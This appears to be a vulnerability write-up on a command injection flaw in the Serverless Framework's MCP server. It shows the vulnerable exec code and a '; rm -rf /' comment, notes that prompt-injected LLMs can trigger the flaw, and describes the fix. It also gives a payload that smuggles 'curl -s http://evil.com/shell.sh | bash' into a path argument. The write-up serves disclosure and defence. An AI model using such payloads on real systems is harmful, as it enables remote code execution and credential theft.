A classic OS Command Injection vulnerability in the Serverless Framework's MCP server (`@serverless/mcp`). The `list-projects` tool passed unvalidated user input directly into a `find` command spawned via `child_process.exec`. This allowed Remote Code Execution (RCE) on the developer's machine. Fixed in version 4.29.3 by switching to `execFile` and implementing path validation.
The Serverless Framework's experimental Model Context Protocol (MCP) server contained a critical command injection vulnerability. By failing to sanitize directory paths passed to a shell command, the tool allowed attackers—or confused LLMs—to execute arbitrary system commands.
The tech world is rushing to integrate Large Language Models (LLMs) into everything, and the Serverless Framework is no exception. They recently introduced support for the Model Context Protocol (MCP), a standard that allows AI models to query local tools and context. It's a great idea: let your AI assistant scan your hard drive to find your Serverless projects automatically.
However, whenever you give an external entity (even an AI) the ability to "scan your hard drive," you better be damn sure about how you handle those file paths. In versions 4.29.0 through 4.29.2, the Serverless team introduced an experimental mcp command. While intended to help developers, it effectively opened a backdoor on the host machine for anyone—or anything—capable of interacting with the MCP server.
If you are a Node.js developer, you likely know the golden rule: Never use child_process.exec with untrusted input. Why? Because exec spawns a full shell (/bin/sh on Unix, cmd.exe on Windows). It doesn't just run a program; it interprets a command string.
The vulnerability lived in packages/mcp/src/lib/project-finder.js. The function findServerlessFrameworkProjects was tasked with locating serverless.yml files. Instead of using Node's native filesystem APIs (like fs.readdir or glob), the developers opted to shell out to the system's find utility.
Here is the fatal mistake: they took the user-provided workspaceDir argument and interpolated it directly into the shell command string using template literals. This is the programmatic equivalent of leaving your house keys in the door lock.
Let's look at the smoking gun. Below is the vulnerable code that shipped in version 4.29.0. Notice how rootDir is shoved directly into the string passed to execAsync (which wraps exec).
// VULNERABLE CODE (Simplified)
export async function findServerlessFrameworkProjects(workspaceDir) {
// 1. Take input directly or default to cwd
const rootDir = workspaceDir || process.cwd();
// 2. Interpolate rootDir into a shell string
// If rootDir is "; rm -rf /", you are having a bad day.
const { stdout } = await execAsync(
`find "${rootDir}" -name "serverless.yml" -not -path "*/node_modules/*" ...`,
{ maxBuffer: 10 * 1024 * 1024 }
);
return stdout;
}The fix was text-book perfect. The maintainers switched from exec (shell) to execFile (no shell). With execFile, the arguments are passed as an array, not a string. The kernel treats the input as a literal argument, meaning shell metacharacters like ; or | are just treated as weird filenames, not instructions.
Exploiting this is trivial. The MCP server exposes a tool called list-projects. An attacker (or a malicious prompt injection influencing an LLM) simply needs to call this tool with a crafted workspaceRoots parameter.
The Payload:
"/tmp; curl -s http://evil.com/shell.sh | bash"
What the Server Executes:
find "/tmp; curl -s http://evil.com/shell.sh | bash" -name "serverless.yml" ...Because the shell processes commands sequentially when separated by a semicolon, it runs find "/tmp" first (which might fail or succeed), and then immediately runs the attacker's curl command. Since the Serverless CLI is usually run by a developer, this command executes with full user privileges—likely capable of reading SSH keys, AWS credentials, and source code.
The remediation in version 4.29.3 introduced two layers of defense. First, they stopped using the shell entirely by migrating to execFile. Second, they added explicit input validation.
They introduced a validateWorkspaceDir function that checks if the path:
fs.stat).This "Defense in Depth" approach ensures that even if one check fails, the underlying execution mechanism (parameterized arguments) prevents code execution. If you are using @serverless/mcp, upgrade immediately.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Serverless Framework (MCP) Serverless, Inc. | 4.29.0 - 4.29.2 | 4.29.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS Score | 7.5 (High) |
| Attack Vector | Network / Local (via MCP Interface) |
| Impact | High (Confidentiality, Integrity, Availability) |
| Component | @serverless/mcp |
| Vulnerable Function | findServerlessFrameworkProjects (via child_process.exec) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Get the latest CVE analysis reports delivered to your inbox.